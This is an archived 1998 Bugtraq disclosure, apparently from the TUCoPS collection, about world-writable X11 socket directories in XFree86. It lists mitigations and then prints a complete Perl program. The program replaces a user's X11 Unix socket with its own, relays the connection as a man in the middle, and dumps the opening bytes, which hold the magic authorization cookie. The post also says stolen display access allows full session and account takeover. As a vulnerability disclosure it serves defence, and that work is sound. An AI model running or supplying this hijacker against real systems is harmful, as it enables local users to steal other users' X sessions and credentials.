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TUCoPS :: Unix :: General :: x11_tmp.txt

X11 Cookie Hijacker incl. C Source and Usenet discussion




Date: Mon, 2 Nov 1998 23:04:43 +0100
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
To: BUGTRAQ@netspace.org
Subject: X11 cookie hijacker

> > > > drwxrwxrwx   2 root     root         1024 Oct 30 19:57 /tmp/.X11-unix
> > > Hang on, aren't those dangerous permissions?
> > Pretty dangerous. Shall I look for my old cookie hijacker?
> Please post the bloody thing to bugtraq. XFree appear myopic on this issue

Evil grin. It has already been told a million times: you are asking for
a problem if your /tmp/.X11-unix (and/or /tmp/.X11-pipe on Solaris) has
the permission bits allowing other users to play games with its contents.

Unfortunately, such setting is the default one
excerpt from xc/lib/xtrans/Xtranslcl.c (XFree86 3.3.2 + all patches):

  #define X_UNIX_DIR      "/tmp/.X11-unix"

      if (!mkdir(X_UNIX_DIR, 0777))
          chmod(X_UNIX_DIR, 0777);

The program appended to this message demonstrates how dangerous it is.
Any lamer could delete the socket cause denial of service but using this
program, you can hijack X11 connections and steal magic cookies. (In fact
anything in the protocol not protected against man-in-the-middle attack
is vulnerable.) Having access to the X display of your victim, you can
do whatever you like: from displaying "Boo!" all over the screen to
complete takeover of the session and the victim's accounts, both local
and remote.

Potential solutions:

- set the sticky bit on /tmp/.X11-unix, make sure the bit stays there
- make it world-unwritable, make sure it stays this way (this works if
  all your Xservers run with some extra privileges)
- special Solaris option: put /tmp/.X11-{unix,pipe} into /etc/logindevperm
  (assumption: the user sitting at the console is the only who uses X)
- abolish Unix-domain X11 sockets and use TCP only (giving up MIT-SHM etc)


--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
"You can't be truly paranoid unless you're sure they have already got you."


PS1: /tmp/.X11-unix is not alone. It has brothers: /tmp/.font-unix,
/tmp/.XIM-unix, /tmp/.ICE-unix and God knows what else, and they ALL
have this problem. It is

PS2: What about TOG's R6.4?


---- snip ----
#!/usr/bin/perl

# Copyright (c) 1997 Pavel Kankovsky

# Permission to use, modify, and redistribute this program under the
# terms of GNU General Public License version 2, as published by the
# Free Software Foundation, is hereby granted. There is ABSOLUTELY
# NO WARRANTY. You use it at your own risk.

# WARNING! This program is provided for educational purposes only.
# Inappropriate use or abuse may result in malfunction or inaccessibility
# of computing systems, disclosure, loss or corruption of data, and other
# damages.


use Socket;

sub dump_snap
{
  my ($txt) = @_;
  my ($pos, $len) = (0, length($txt));
  while ($pos < $len) {
    my ($p, $l1, $l2) = ($pos, '', '');
    foreach $k (0..15) {
      if ($pos < $len) {
        my ($c) = ord(substr($txt, $pos, 1));
        $l1 .= sprintf("%02x ", $c);
        $l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
      }
      else {
        $l1 .= '   ';
      }
      ++$pos;
    }
    printf("%04x %s%s\n", $p, $l1, $l2);
  }
}

$SIG{CHLD} = 'IGNORE';

$display0 = $ARGV[0];
$display1 = $ARGV[1];

rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");

socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
listen(Server, SOMAXCONN) || die $!;

$success = 0;

eval {
  local $SIG{INT} = sub { die; };
  accept(Client, Server) || die;
  $success = 1;
};

rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");

if ($success) {
  $pid = fork();
  if ($pid == 0) {
    close(Server);
    socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
    connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
    $fdset = '';
    vec($fdset, fileno(Client), 1) = 1;
    vec($fdset, fileno(Forward), 1) = 1;
    $snapped = '';
    $snaplen = 0x40;
    while (select($rset = $fdset, undef, undef, undef)) {
      if (vec($rset, fileno(Client), 1) != 0) {
        $b = sysread(Client, $buffer, 16);
        if ($b > 0) {
          syswrite(Forward, $buffer, $b);
          if ($snaplen > 0) {
            $snapped .= substr($buffer, 0, $b);
            $snaplen -= $b;
            dump_snap($snapped) if ($snaplen <= 0);
          }
        }
        last if (!$b);
      }
      if (vec($rset, fileno(Forward), 1) != 0) {
        $b = sysread(Forward, $buffer, 16);
        if ($b > 0) {
          syswrite(Client, $buffer, $b);
        }
        last if (!$b);
      }
    }
    close(Forward);
    close(Client);
    exit(0);
  }
  close(Client);
}
---- snip ----



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